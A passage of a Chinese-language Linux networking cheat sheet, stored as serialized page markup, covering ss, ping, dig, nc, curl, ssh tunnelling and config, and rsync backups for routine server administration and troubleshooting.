netplan\u002FNetworkManager\n",[331,87902,87903,87905,87908],{"class":333,"line":450},[331,87904,87740],{"class":501},[331,87906,87907],{"class":365}," netns",[331,87909,87910],{"class":1003},"                    # 网络命名空间列表；ip netns exec foo ss -tulpn\n",[11,87912,87913,87916,87917,87920,87921,87924,87925,6745,87928,87931,87932,655,87935,4839,87938,87941],{},[22,87914,87915],{},"ip a"," 输出里要会看的三个东西：",[22,87918,87919],{},"inet 10.0.0.12\u002F24 brd …"," 是 IPv4 与掩码（",[22,87922,87923],{},"\u002F24"," = 255.255.255.0）、",[22,87926,87927],{},"state UP",[22,87929,87930],{},"NO-CARRIER"," 是链路是否插了线、",[22,87933,87934],{},"scope global",[22,87936,87937],{},"link",[22,87939,87940],{},"fe80::"," 是链路本地地址，不能直接当目标）。",[53,87943,87945],{"id":87944},"_2-ss-谁在监听哪个端口","2. ss —— 谁在监听哪个端口",[308,87947,87949],{"className":3902,"code":87948,"language":3904,"meta":314,"style":314},"ss -tulnp           # 日常万能式：TCP + UDP、监听中的、带进程名\nss -tuln            # 同上但无需 root（不显示进程列）\nss -tan state established       # 只看已建立的 TCP 连接\nss -tp state established '( dport = :443 )'   # 按端口过滤，能匹配到进程（netstat 做不到）\nss -s               # 各状态连接数汇总（一眼看 TIME_WAIT 堆积）\nss -i               # 拥塞控制、RTT 等 TCP 内部信息\nss -m               # 内存占用（内核缓冲）\nsudo ss -K dst 10.0.0.5        # 直接杀掉匹配的连接（需 root，4.9+ 内核）\n",[22,87950,87951,87961,87971,87986,88003,88012,88021,88030],{"__ignoreMap":314},[331,87952,87953,87955,87958],{"class":333,"line":334},[331,87954,87743],{"class":501},[331,87956,87957],{"class":344}," -tulnp",[331,87959,87960],{"class":1003},"           # 日常万能式：TCP + UDP、监听中的、带进程名\n",[331,87962,87963,87965,87968],{"class":333,"line":341},[331,87964,87743],{"class":501},[331,87966,87967],{"class":344}," -tuln",[331,87969,87970],{"class":1003},"            # 同上但无需 root（不显示进程列）\n",[331,87972,87973,87975,87978,87980,87983],{"class":333,"line":357},[331,87974,87743],{"class":501},[331,87976,87977],{"class":344}," -tan",[331,87979,20718],{"class":365},[331,87981,87982],{"class":365}," established",[331,87984,87985],{"class":1003},"       # 只看已建立的 TCP 连接\n",[331,87987,87988,87990,87993,87995,87997,88000],{"class":333,"line":371},[331,87989,87743],{"class":501},[331,87991,87992],{"class":344}," -tp",[331,87994,20718],{"class":365},[331,87996,87982],{"class":365},[331,87998,87999],{"class":365}," '( dport = :443 )'",[331,88001,88002],{"class":1003},"   # 按端口过滤，能匹配到进程（netstat 做不到）\n",[331,88004,88005,88007,88009],{"class":333,"line":384},[331,88006,87743],{"class":501},[331,88008,15978],{"class":344},[331,88010,88011],{"class":1003},"               # 各状态连接数汇总（一眼看 TIME_WAIT 堆积）\n",[331,88013,88014,88016,88018],{"class":333,"line":397},[331,88015,87743],{"class":501},[331,88017,53226],{"class":344},[331,88019,88020],{"class":1003},"               # 拥塞控制、RTT 等 TCP 内部信息\n",[331,88022,88023,88025,88027],{"class":333,"line":418},[331,88024,87743],{"class":501},[331,88026,79305],{"class":344},[331,88028,88029],{"class":1003},"               # 内存占用（内核缓冲）\n",[331,88031,88032,88034,88036,88039,88042,88045],{"class":333,"line":427},[331,88033,37063],{"class":501},[331,88035,50548],{"class":365},[331,88037,88038],{"class":344}," -K",[331,88040,88041],{"class":365}," dst",[331,88043,88044],{"class":344}," 10.0.0.5",[331,88046,88047],{"class":1003},"        # 直接杀掉匹配的连接（需 root，4.9+ 内核）\n",[11,88049,88050,88051,88053,88054,88057,88058,88061,88062,88064,88065,88067,88068,88070,88071,88073,88074,88077,88078,88081,88082,88084,88085,88088],{},"字母含义：",[22,88052,49212],{}," TCP、",[22,88055,88056],{},"-u"," UDP、",[22,88059,88060],{},"-l"," listening、",[22,88063,36989],{}," 显示进程（需 root 才能看到别人的）、",[22,88066,50545],{}," 数字不做名称解析（更快，避免 DNS 卡住）、",[22,88069,87207],{}," 全部（含未监听）、",[22,88072,84504],{}," Unix 套接字、",[22,88075,88076],{},"-w"," raw、",[22,88079,88080],{},"-s"," 统计、",[22,88083,49299],{}," 内部信息、",[22,88086,88087],{},"-e"," 扩展（uid\u002Finode）。",[11,88090,53522,88091,88094],{},[22,88092,88093],{},"netstat -antp"," 的对照：",[57,88096,88097,88112],{},[60,88098,88099],{},[63,88100,88101,88103,88106,88109],{},[66,88102,9791],{},[66,88104,88105],{},"netstat（老）",[66,88107,88108],{},"ss（新）",[66,88110,88111],{},"ss 的优势",[79,88113,88114,88134,88154,88172,88190,88208],{},[63,88115,88116,88119,88124,88129],{},[84,88117,88118],{},"列监听端口 + 进程",[84,88120,88121],{},[22,88122,88123],{},"netstat -tulnp",[84,88125,88126],{},[22,88127,88128],{},"ss -tulnp",[84,88130,88131,88133],{},[22,88132,87743],{}," 直接从内核接口读，海量连接时快几十倍",[63,88135,88136,88139,88143,88148],{},[84,88137,88138],{},"全部 TCP 连接",[84,88140,88141],{},[22,88142,88093],{},[84,88144,88145],{},[22,88146,88147],{},"ss -tanp",[84,88149,19605,88150,88153],{},[22,88151,88152],{},"state"," 精确过滤",[63,88155,88156,88159,88164,88169],{},[84,88157,88158],{},"只看 TIME_WAIT",[84,88160,88161],{},[22,88162,88163],{},"netstat -ant | grep TIME_WAIT",[84,88165,88166],{},[22,88167,88168],{},"ss -tan state time-wait",[84,88170,88171],{},"不用 grep，不丢格式",[63,88173,88174,88177,88182,88187],{},[84,88175,88176],{},"Unix 域套接字",[84,88178,88179],{},[22,88180,88181],{},"netstat -xlp",[84,88183,88184],{},[22,88185,88186],{},"ss -xlp",[84,88188,88189],{},"输出更完整",[63,88191,88192,88195,88200,88205],{},[84,88193,88194],{},"路由表",[84,88196,88197],{},[22,88198,88199],{},"route -n",[84,88201,88202],{},[22,88203,88204],{},"ip r",[84,88206,88207],{},"支持策略路由显示",[63,88209,88210,88213,88218,88223],{},[84,88211,88212],{},"接口统计",[84,88214,88215],{},[22,88216,88217],{},"netstat -i",[84,88219,88220],{},[22,88221,88222],{},"ip -s link",[84,88224,88225],{},"含丢包\u002F错误细分",[11,88227,88228,5760,88230,655,88233,88236,88237,18878,88240,88242,88243,88245],{},[22,88229,87743],{},[22,88231,88232],{},"Recv-Q",[22,88234,88235],{},"Send-Q"," 在监听端口上的含义与连接上不同：监听行上它们是",[17,88238,88239],{},"已完成队列长度 \u002F backlog 上限",[22,88241,88232],{}," 接近 ",[22,88244,88235],{}," 说明应用 accept 不过来（连接被丢弃），是「服务偶发 502\u002F超时」的关键线索。",[53,88247,88249],{"id":88248},"_3-连通性诊断pingdignc","3. 连通性诊断：ping、dig、nc",[308,88251,88253],{"className":3902,"code":88252,"language":3904,"meta":314,"style":314},"ping -c 4 10.0.0.5          # 测 ICMP 可达与 RTT：-c 4 发 4 个包，-W 2 超时，-i 0.2 快速发\ntraceroute -n -w 2 host     # 逐跳路径：-n 不解析域名（否则慢到不能用）、-T -p 443 用 TCP 探测\ntracepath 8.8.8.8           # 无需 root 的替代，同时给出 PMTU\nmtr -rwnc 50 host           # traceroute + ping 合体：-r 报告模式、-w 宽、-c 50 发 50 包\ndig +short app.example.com  # DNS 查询首选：+short 只留答案、+trace 从根查起、+noall +answer 精简\ndig A host @1.1.1.1         # 指定 DNS 服务器对比\nnslookup app.example.com 8.8.8.8    # 简易 DNS（老工具）：输出信息少，脚本别用\nhost -t MX example.com      # 一行查 DNS；host -l example.com 测区域传送\ngetent hosts app.internal   # 走本机完整解析链（含 \u002Fetc\u002Fhosts、nsswitch）——排「dig 能解析但 curl 不行」\nnc -vz 10.0.0.5 5432        # 测端口通不通：-z 只探端口、-v 给结果（telnet 的替代，多数机器没装 telnet 了）\nnc -l 8080                  # 起临时 HTTP 靶机；nc -l 8080 > dump.bin 收文件（OpenBSD\u002FGNU 版参数不同）\nethtool -i eth0             # 网卡驱动；ethtool -s 看速率\u002F双工\u002F链路——物理层问题唯一入口\n",[22,88254,88255,88268,88285,88295,88310,88323,88338,88350,88365,88377,88392,88403],{"__ignoreMap":314},[331,88256,88257,88259,88261,88263,88265],{"class":333,"line":334},[331,88258,79224],{"class":501},[331,88260,15990],{"class":344},[331,88262,43890],{"class":344},[331,88264,88044],{"class":344},[331,88266,88267],{"class":1003},"          # 测 ICMP 可达与 RTT：-c 4 发 4 个包，-W 2 超时，-i 0.2 快速发\n",[331,88269,88270,88273,88275,88277,88279,88282],{"class":333,"line":341},[331,88271,88272],{"class":501},"traceroute",[331,88274,75986],{"class":344},[331,88276,80890],{"class":344},[331,88278,18023],{"class":344},[331,88280,88281],{"class":365}," host",[331,88283,88284],{"class":1003},"     # 逐跳路径：-n 不解析域名（否则慢到不能用）、-T -p 443 用 TCP 探测\n",[331,88286,88287,88290,88292],{"class":333,"line":357},[331,88288,88289],{"class":501},"tracepath",[331,88291,87848],{"class":344},[331,88293,88294],{"class":1003},"           # 无需 root 的替代，同时给出 PMTU\n",[331,88296,88297,88300,88303,88305,88307],{"class":333,"line":371},[331,88298,88299],{"class":501},"mtr",[331,88301,88302],{"class":344}," -rwnc",[331,88304,76834],{"class":344},[331,88306,88281],{"class":365},[331,88308,88309],{"class":1003},"           # traceroute + ping 合体：-r 报告模式、-w 宽、-c 50 发 50 包\n",[331,88311,88312,88314,88317,88320],{"class":333,"line":384},[331,88313,87746],{"class":501},[331,88315,88316],{"class":365}," +short",[331,88318,88319],{"class":365}," app.example.com",[331,88321,88322],{"class":1003},"  # DNS 查询首选：+short 只留答案、+trace 从根查起、+noall +answer 精简\n",[331,88324,88325,88327,88330,88332,88335],{"class":333,"line":397},[331,88326,87746],{"class":501},[331,88328,88329],{"class":365}," A",[331,88331,88281],{"class":365},[331,88333,88334],{"class":365}," @1.1.1.1",[331,88336,88337],{"class":1003},"         # 指定 DNS 服务器对比\n",[331,88339,88340,88343,88345,88347],{"class":333,"line":418},[331,88341,88342],{"class":501},"nslookup",[331,88344,88319],{"class":365},[331,88346,87848],{"class":344},[331,88348,88349],{"class":1003},"    # 简易 DNS（老工具）：输出信息少，脚本别用\n",[331,88351,88352,88354,88356,88359,88362],{"class":333,"line":427},[331,88353,49511],{"class":501},[331,88355,48230],{"class":344},[331,88357,88358],{"class":365}," MX",[331,88360,88361],{"class":365}," example.com",[331,88363,88364],{"class":1003},"      # 一行查 DNS；host -l example.com 测区域传送\n",[331,88366,88367,88369,88371,88374],{"class":333,"line":439},[331,88368,86861],{"class":501},[331,88370,51130],{"class":365},[331,88372,88373],{"class":365}," app.internal",[331,88375,88376],{"class":1003},"   # 走本机完整解析链（含 \u002Fetc\u002Fhosts、nsswitch）——排「dig 能解析但 curl 不行」\n",[331,88378,88379,88382,88385,88387,88389],{"class":333,"line":450},[331,88380,88381],{"class":501},"nc",[331,88383,88384],{"class":344}," -vz",[331,88386,88044],{"class":344},[331,88388,36944],{"class":344},[331,88390,88391],{"class":1003},"        # 测端口通不通：-z 只探端口、-v 给结果（telnet 的替代，多数机器没装 telnet 了）\n",[331,88393,88394,88396,88398,88400],{"class":333,"line":456},[331,88395,88381],{"class":501},[331,88397,43868],{"class":344},[331,88399,51231],{"class":344},[331,88401,88402],{"class":1003},"                  # 起临时 HTTP 靶机；nc -l 8080 > dump.bin 收文件（OpenBSD\u002FGNU 版参数不同）\n",[331,88404,88405,88408,88410,88412],{"class":333,"line":775},[331,88406,88407],{"class":501},"ethtool",[331,88409,53226],{"class":344},[331,88411,87823],{"class":365},[331,88413,88414],{"class":1003},"             # 网卡驱动；ethtool -s 看速率\u002F双工\u002F链路——物理层问题唯一入口\n",[11,88416,88417,88418,17306,88421,88423,88424,161],{},"注意两点：很多机房禁 ICMP，",[17,88419,88420],{},"ping 不通不代表服务挂",[22,88422,88299],{}," 中间跳丢包常是路由器限速的假象，",[17,88425,88426],{},"只有最后一跳持续丢才是真问题",[53,88428,88430],{"id":88429},"_4-curl-发请求与读-http","4. curl —— 发请求与读 HTTP",[308,88432,88434],{"className":3902,"code":88433,"language":3904,"meta":314,"style":314},"curl -I https:\u002F\u002Fapp.example.com       # 只看响应头（HEAD），验证 301\u002F403\u002F缓存头\ncurl -sSL -o page.html https:\u002F\u002F…      # 下载标准式：-s 静默、-S 但报错仍显示、-L 跟随重定向、-o 存文件\ncurl -s -w '%{http_code}\\n' -o \u002Fdev\u002Fnull http:\u002F\u002F127.0.0.1:8080\u002Fhealthz\n                                      # 健康检查一行式：只要状态码\ncurl -X POST -H 'Content-Type: application\u002Fjson' -d '{\"a\":1}' URL   # 发 JSON；-d @body.json 从文件读\ncurl -X POST --data-urlencode 'q=中文 词' URL    # 表单编码（-d 不做编码，中文必错）\ncurl -u user:pass URL                 # Basic 认证；--netrc 用 ~\u002F.netrc\ncurl --retry 3 --retry-delay 2 --retry-connrefused -sS URL   # 重试，部署脚本必备\ncurl --connect-timeout 3 --max-time 10 URL                   # 超时控制，否则默认可以挂很久\ncurl -k URL                           # 跳过证书校验——只用于临时验证，别写进脚本；正确做法 --cacert ca.pem\ncurl -x http:\u002F\u002F10.0.0.9:8888 URL      # 走代理\ncurl -v URL 2>&1 | head -40           # 看完整握手（TLS 版本、证书、请求\u002F响应头）\ncurl --resolve app.example.com:443:10.0.0.12 https:\u002F\u002Fapp.example.com\n                                      # 本地强行指定 IP：验证负载均衡后面的某台机器\ncurl -T file URL --user u:p           # 上传（PUT）\ncurl -s 'URL?page=1' | jq .total      # 配合 jq 取字段\n",[22,88435,88436,88448,88466,88484,88489,88514,88533,88547,88572,88591,88602,88616,88636,88649,88654,88672],{"__ignoreMap":314},[331,88437,88438,88440,88442,88445],{"class":333,"line":334},[331,88439,15975],{"class":501},[331,88441,76052],{"class":344},[331,88443,88444],{"class":365}," https:\u002F\u002Fapp.example.com",[331,88446,88447],{"class":1003},"       # 只看响应头（HEAD），验证 301\u002F403\u002F缓存头\n",[331,88449,88450,88452,88455,88457,88460,88463],{"class":333,"line":341},[331,88451,15975],{"class":501},[331,88453,88454],{"class":344}," -sSL",[331,88456,53195],{"class":344},[331,88458,88459],{"class":365}," page.html",[331,88461,88462],{"class":365}," https:\u002F\u002F…",[331,88464,88465],{"class":1003},"      # 下载标准式：-s 静默、-S 但报错仍显示、-L 跟随重定向、-o 存文件\n",[331,88467,88468,88470,88472,88474,88477,88479,88481],{"class":333,"line":357},[331,88469,15975],{"class":501},[331,88471,15978],{"class":344},[331,88473,80890],{"class":344},[331,88475,88476],{"class":365}," '%{http_code}\\n'",[331,88478,53195],{"class":344},[331,88480,82299],{"class":365},[331,88482,88483],{"class":365}," http:\u002F\u002F127.0.0.1:8080\u002Fhealthz\n",[331,88485,88486],{"class":333,"line":371},[331,88487,88488],{"class":1003},"                                      # 健康检查一行式：只要状态码\n",[331,88490,88491,88493,88495,88498,88501,88504,88506,88509,88511],{"class":333,"line":384},[331,88492,15975],{"class":501},[331,88494,83497],{"class":344},[331,88496,88497],{"class":365}," POST",[331,88499,88500],{"class":344}," -H",[331,88502,88503],{"class":365}," 'Content-Type: application\u002Fjson'",[331,88505,36867],{"class":344},[331,88507,88508],{"class":365}," '{\"a\":1}'",[331,88510,16358],{"class":365},[331,88512,88513],{"class":1003},"   # 发 JSON；-d @body.json 从文件读\n",[331,88515,88516,88518,88520,88522,88525,88528,88530],{"class":333,"line":397},[331,88517,15975],{"class":501},[331,88519,83497],{"class":344},[331,88521,88497],{"class":365},[331,88523,88524],{"class":344}," --data-urlencode",[331,88526,88527],{"class":365}," 'q=中文 词'",[331,88529,16358],{"class":365},[331,88531,88532],{"class":1003},"    # 表单编码（-d 不做编码，中文必错）\n",[331,88534,88535,88537,88539,88542,88544],{"class":333,"line":418},[331,88536,15975],{"class":501},[331,88538,37094],{"class":344},[331,88540,88541],{"class":365}," user:pass",[331,88543,16358],{"class":365},[331,88545,88546],{"class":1003},"                 # Basic 认证；--netrc 用 ~\u002F.netrc\n",[331,88548,88549,88551,88554,88556,88559,88561,88564,88567,88569],{"class":333,"line":427},[331,88550,15975],{"class":501},[331,88552,88553],{"class":344}," --retry",[331,88555,59421],{"class":344},[331,88557,88558],{"class":344}," --retry-delay",[331,88560,18023],{"class":344},[331,88562,88563],{"class":344}," --retry-connrefused",[331,88565,88566],{"class":344}," -sS",[331,88568,16358],{"class":365},[331,88570,88571],{"class":1003},"   # 重试，部署脚本必备\n",[331,88573,88574,88576,88579,88581,88584,88586,88588],{"class":333,"line":439},[331,88575,15975],{"class":501},[331,88577,88578],{"class":344}," --connect-timeout",[331,88580,59421],{"class":344},[331,88582,88583],{"class":344}," --max-time",[331,88585,49145],{"class":344},[331,88587,16358],{"class":365},[331,88589,88590],{"class":1003},"                   # 超时控制，否则默认可以挂很久\n",[331,88592,88593,88595,88597,88599],{"class":333,"line":450},[331,88594,15975],{"class":501},[331,88596,74658],{"class":344},[331,88598,16358],{"class":365},[331,88600,88601],{"class":1003},"                           # 跳过证书校验——只用于临时验证，别写进脚本；正确做法 --cacert ca.pem\n",[331,88603,88604,88606,88608,88611,88613],{"class":333,"line":456},[331,88605,15975],{"class":501},[331,88607,79335],{"class":344},[331,88609,88610],{"class":365}," http:\u002F\u002F10.0.0.9:8888",[331,88612,16358],{"class":365},[331,88614,88615],{"class":1003},"      # 走代理\n",[331,88617,88618,88620,88622,88624,88626,88628,88630,88633],{"class":333,"line":775},[331,88619,15975],{"class":501},[331,88621,51745],{"class":344},[331,88623,16358],{"class":365},[331,88625,82259],{"class":616},[331,88627,15984],{"class":616},[331,88629,15987],{"class":501},[331,88631,88632],{"class":344}," -40",[331,88634,88635],{"class":1003},"           # 看完整握手（TLS 版本、证书、请求\u002F响应头）\n",[331,88637,88638,88640,88643,88646],{"class":333,"line":785},[331,88639,15975],{"class":501},[331,88641,88642],{"class":344}," --resolve",[331,88644,88645],{"class":365}," app.example.com:443:10.0.0.12",[331,88647,88648],{"class":365}," https:\u002F\u002Fapp.example.com\n",[331,88650,88651],{"class":333,"line":795},[331,88652,88653],{"class":1003},"                                      # 本地强行指定 IP：验证负载均衡后面的某台机器\n",[331,88655,88656,88658,88660,88662,88664,88666,88669],{"class":333,"line":805},[331,88657,15975],{"class":501},[331,88659,57251],{"class":344},[331,88661,10499],{"class":365},[331,88663,16358],{"class":365},[331,88665,57998],{"class":344},[331,88667,88668],{"class":365}," u:p",[331,88670,88671],{"class":1003},"           # 上传（PUT）\n",[331,88673,88674,88676,88678,88681,88683,88685,88688],{"class":333,"line":819},[331,88675,15975],{"class":501},[331,88677,15978],{"class":344},[331,88679,88680],{"class":365}," 'URL?page=1'",[331,88682,15984],{"class":616},[331,88684,58480],{"class":501},[331,88686,88687],{"class":365}," .total",[331,88689,88690],{"class":1003},"      # 配合 jq 取字段\n",[11,88692,88693],{},"看耗时分布的一行格式串（可直接抄）：",[308,88695,88697],{"className":3902,"code":88696,"language":3904,"meta":314,"style":314},"curl -s -o \u002Fdev\u002Fnull -w 'code=%{http_code} dns=%{time_namelookup} connect=%{time_connect} tls=%{time_appconnect} ttfb=%{time_starttransfer} total=%{time_total} size=%{size_download}\\n' https:\u002F\u002Fapp.example.com\n",[22,88698,88699],{"__ignoreMap":314},[331,88700,88701,88703,88705,88707,88709,88711,88714],{"class":333,"line":334},[331,88702,15975],{"class":501},[331,88704,15978],{"class":344},[331,88706,53195],{"class":344},[331,88708,82299],{"class":365},[331,88710,80890],{"class":344},[331,88712,88713],{"class":365}," 'code=%{http_code} dns=%{time_namelookup} connect=%{time_connect} tls=%{time_appconnect} ttfb=%{time_starttransfer} total=%{time_total} size=%{size_download}\\n'",[331,88715,88648],{"class":365},[11,88717,88718,88720,88721,88723,88724,88726,88727,88729,88730,88733,88734,88736,88737,88739,88740,88743,88744,88747,88748,88751,88752,161,88754,88757,88758,88761],{},[22,88719,15975],{}," 的退出码有用：",[22,88722,28762],{}," 连不上、",[22,88725,28747],{}," DNS 解析失败、",[22,88728,63995],{}," 超时、",[22,88731,88732],{},"35"," TLS 握手错、",[22,88735,10595],{}," 证书问题——脚本里判 ",[22,88738,82108],{}," 比看输出可靠。",[22,88741,88742],{},"wget"," 的差异：递归下载（",[22,88745,88746],{},"wget -r -np -nH -k URL","）与自动断点续传（",[22,88749,88750],{},"-c","）更方便；单发请求与调试头信息一律 ",[22,88753,15975],{},[22,88755,88756],{},"aria2c -x 16 -s 16 URL"," 多连接下载大文件快很多，",[22,88759,88760],{},"aria2c --input-file=list.txt"," 批量。",[53,88763,88765],{"id":88764},"_5-sshscprsync","5. ssh、scp、rsync",[308,88767,88769],{"className":3902,"code":88768,"language":3904,"meta":314,"style":314},"ssh deploy@10.0.0.12                  # 登录，默认 22；ssh -v 看握手细节（排「为什么拒绝」）\nssh -p 2222 deploy@host               # 指定端口；配置里 Port 改了必须用 -p\nssh -i ~\u002F.ssh\u002Fid_ed25519_prod deploy@host   # 指定私钥；权限必须 600，否则报 UNPROTECTED PRIVATE KEY FILE\nssh -J bastion app                     # 跳板机（ProxyJump）；多级 -J bastion1,bastion2\nssh -L 5432:db.internal:5432 -fN deploy@jump\n                                       # 本地端口转发：把远端能到的内网服务映射到本机 5432，\n                                       # 之后 psql -h 127.0.0.1 -p 5432 直连；-N 不开 shell、-f 后台\nssh -R 8080:localhost:8080 deploy@jump # 远程端口转发：把本机服务暴露到跳板机（需 GatewayPorts=yes）\nssh -D 1080 deploy@jump                # SOCKS 代理：curl --socks5 127.0.0.1:1080 URL 配合用\nssh -o ServerAliveInterval=30 host     # 防中间设备断连；写进 ~\u002F.ssh\u002Fconfig 更省事\nssh-copy-id -i ~\u002F.ssh\u002Fid_ed25519.pub deploy@host   # 一键装公钥，仍需一次密码，之后免密\nscp app.tar.gz deploy@host:\u002Fsrv\u002Fapp\u002F       # 复制：注意 scp 语义像 cp；传目录要 -r；新版走 SFTP 协议\nrsync -avz --delete src\u002F host:\u002Fsrv\u002Fapp\u002F        # 增量同步\u002F备份——见下\nrsync -a --progress --partial big.iso host:\u002Fdata\u002F   # 断点续传大文件\n",[22,88770,88771,88781,88796,88810,88825,88840,88845,88850,88865,88879,88895,88910,88922,88940],{"__ignoreMap":314},[331,88772,88773,88775,88778],{"class":333,"line":334},[331,88774,79601],{"class":501},[331,88776,88777],{"class":365}," deploy@10.0.0.12",[331,88779,88780],{"class":1003},"                  # 登录，默认 22；ssh -v 看握手细节（排「为什么拒绝」）\n",[331,88782,88783,88785,88787,88790,88793],{"class":333,"line":341},[331,88784,79601],{"class":501},[331,88786,36941],{"class":344},[331,88788,88789],{"class":344}," 2222",[331,88791,88792],{"class":365}," deploy@host",[331,88794,88795],{"class":1003},"               # 指定端口；配置里 Port 改了必须用 -p\n",[331,88797,88798,88800,88802,88805,88807],{"class":333,"line":357},[331,88799,79601],{"class":501},[331,88801,53226],{"class":344},[331,88803,88804],{"class":365}," ~\u002F.ssh\u002Fid_ed25519_prod",[331,88806,88792],{"class":365},[331,88808,88809],{"class":1003},"   # 指定私钥；权限必须 600，否则报 UNPROTECTED PRIVATE KEY FILE\n",[331,88811,88812,88814,88817,88820,88822],{"class":333,"line":371},[331,88813,79601],{"class":501},[331,88815,88816],{"class":344}," -J",[331,88818,88819],{"class":365}," bastion",[331,88821,18152],{"class":365},[331,88823,88824],{"class":1003},"                     # 跳板机（ProxyJump）；多级 -J bastion1,bastion2\n",[331,88826,88827,88829,88831,88834,88837],{"class":333,"line":384},[331,88828,79601],{"class":501},[331,88830,75814],{"class":344},[331,88832,88833],{"class":365}," 5432:db.internal:5432",[331,88835,88836],{"class":344}," -fN",[331,88838,88839],{"class":365}," deploy@jump\n",[331,88841,88842],{"class":333,"line":397},[331,88843,88844],{"class":1003},"                                       # 本地端口转发：把远端能到的内网服务映射到本机 5432，\n",[331,88846,88847],{"class":333,"line":418},[331,88848,88849],{"class":1003},"                                       # 之后 psql -h 127.0.0.1 -p 5432 直连；-N 不开 shell、-f 后台\n",[331,88851,88852,88854,88856,88859,88862],{"class":333,"line":427},[331,88853,79601],{"class":501},[331,88855,78463],{"class":344},[331,88857,88858],{"class":365}," 8080:localhost:8080",[331,88860,88861],{"class":365}," deploy@jump",[331,88863,88864],{"class":1003}," # 远程端口转发：把本机服务暴露到跳板机（需 GatewayPorts=yes）\n",[331,88866,88867,88869,88871,88874,88876],{"class":333,"line":439},[331,88868,79601],{"class":501},[331,88870,35403],{"class":344},[331,88872,88873],{"class":344}," 1080",[331,88875,88861],{"class":365},[331,88877,88878],{"class":1003},"                # SOCKS 代理：curl --socks5 127.0.0.1:1080 URL 配合用\n",[331,88880,88881,88883,88885,88888,88890,88892],{"class":333,"line":450},[331,88882,79601],{"class":501},[331,88884,53195],{"class":344},[331,88886,88887],{"class":365}," ServerAliveInterval=",[331,88889,68494],{"class":344},[331,88891,88281],{"class":365},[331,88893,88894],{"class":1003},"     # 防中间设备断连；写进 ~\u002F.ssh\u002Fconfig 更省事\n",[331,88896,88897,88900,88902,88905,88907],{"class":333,"line":456},[331,88898,88899],{"class":501},"ssh-copy-id",[331,88901,53226],{"class":344},[331,88903,88904],{"class":365}," ~\u002F.ssh\u002Fid_ed25519.pub",[331,88906,88792],{"class":365},[331,88908,88909],{"class":1003},"   # 一键装公钥，仍需一次密码，之后免密\n",[331,88911,88912,88914,88916,88919],{"class":333,"line":775},[331,88913,53211],{"class":501},[331,88915,83348],{"class":365},[331,88917,88918],{"class":365}," deploy@host:\u002Fsrv\u002Fapp\u002F",[331,88920,88921],{"class":1003},"       # 复制：注意 scp 语义像 cp；传目录要 -r；新版走 SFTP 协议\n",[331,88923,88924,88926,88929,88932,88934,88937],{"class":333,"line":785},[331,88925,50369],{"class":501},[331,88927,88928],{"class":344}," -avz",[331,88930,88931],{"class":344}," --delete",[331,88933,75889],{"class":365},[331,88935,88936],{"class":365}," host:\u002Fsrv\u002Fapp\u002F",[331,88938,88939],{"class":1003},"        # 增量同步\u002F备份——见下\n",[331,88941,88942,88944,88946,88949,88952,88954,88957],{"class":333,"line":795},[331,88943,50369],{"class":501},[331,88945,57537],{"class":344},[331,88947,88948],{"class":344}," --progress",[331,88950,88951],{"class":344}," --partial",[331,88953,75963],{"class":365},[331,88955,88956],{"class":365}," host:\u002Fdata\u002F",[331,88958,88959],{"class":1003},"   # 断点续传大文件\n",[11,88961,88962,88965,88966,88968],{},[22,88963,88964],{},"~\u002F.ssh\u002Fconfig"," 是可维护性的关键（文件权限必须 ",[22,88967,72571],{},"），一份够用多年的样例：",[308,88970,88974],{"className":88971,"code":88972,"language":88973,"meta":314,"style":314},"language-ssh_config shiki shiki-themes github-dark","Host *\n  ServerAliveInterval 30\n  AddKeysToAgent yes\n  IdentityFile ~\u002F.ssh\u002Fid_ed25519\n\nHost prod-web\n  HostName 10.0.0.12\n  User deploy\n  IdentityFile ~\u002F.ssh\u002Fid_ed25519_prod\n  ProxyJump bastion\n\nHost db-tunnel\n  HostName bastion\n  User ops\n  LocalForward 5432 db.internal:5432\n","ssh_config",[22,88975,88976,88981,88986,88991,88996,89000,89005,89010,89015,89020,89025,89029,89034,89039,89044],{"__ignoreMap":314},[331,88977,88978],{"class":333,"line":334},[331,88979,88980],{},"Host *\n",[331,88982,88983],{"class":333,"line":341},[331,88984,88985],{},"  ServerAliveInterval 30\n",[331,88987,88988],{"class":333,"line":357},[331,88989,88990],{},"  AddKeysToAgent yes\n",[331,88992,88993],{"class":333,"line":371},[331,88994,88995],{},"  IdentityFile ~\u002F.ssh\u002Fid_ed25519\n",[331,88997,88998],{"class":333,"line":384},[331,88999,998],{"emptyLinePlaceholder":997},[331,89001,89002],{"class":333,"line":397},[331,89003,89004],{},"Host prod-web\n",[331,89006,89007],{"class":333,"line":418},[331,89008,89009],{},"  HostName 10.0.0.12\n",[331,89011,89012],{"class":333,"line":427},[331,89013,89014],{},"  User deploy\n",[331,89016,89017],{"class":333,"line":439},[331,89018,89019],{},"  IdentityFile ~\u002F.ssh\u002Fid_ed25519_prod\n",[331,89021,89022],{"class":333,"line":450},[331,89023,89024],{},"  ProxyJump bastion\n",[331,89026,89027],{"class":333,"line":456},[331,89028,998],{"emptyLinePlaceholder":997},[331,89030,89031],{"class":333,"line":775},[331,89032,89033],{},"Host db-tunnel\n",[331,89035,89036],{"class":333,"line":785},[331,89037,89038],{},"  HostName bastion\n",[331,89040,89041],{"class":333,"line":795},[331,89042,89043],{},"  User ops\n",[331,89045,89046],{"class":333,"line":805},[331,89047,89048],{},"  LocalForward 5432 db.internal:5432\n",[11,89050,89051,89052,89055,89056,89059,89060,89063],{},"之后 ",[22,89053,89054],{},"ssh prod-web"," 一条搞定跳板与密钥。",[22,89057,89058],{},"Host *"," 段的顺序",[17,89061,89062],{},"只在第一次匹配时生效","，所以具体 Host 要写在通配前面。",[11,89065,89066,89068,89069,41338,89071,89074,89075,89078,89079,5160,89082,89085,89086,89089],{},[22,89067,50369],{}," 为什么更适合备份：只传差异（滚动校验）、可保留权限与时间戳（",[22,89070,87207],{},[22,89072,89073],{},"-rlptgoD","）、能删除目标多余文件（",[22,89076,89077],{},"--delete"," 镜像语义）、可断点续传、可通过 ssh 加密传输、支持 ",[22,89080,89081],{},"--exclude",[22,89083,89084],{},"--link-dest"," 做",[17,89087,89088],{},"硬链接式全量快照","（省空间又每个快照都是完整目录）。",[308,89091,89093],{"className":3902,"code":89092,"language":3904,"meta":314,"style":314},"rsync -avz --delete --exclude='node_modules\u002F' --exclude='.git\u002F' \u002Fsrv\u002Fapp\u002F deploy@backup:\u002Fbackup\u002Fapp-$(date +%F)\u002F\nrsync -a --delete --link-dest=..\u002Fapp-2026-10-03 \u002Fsrv\u002Fapp\u002F 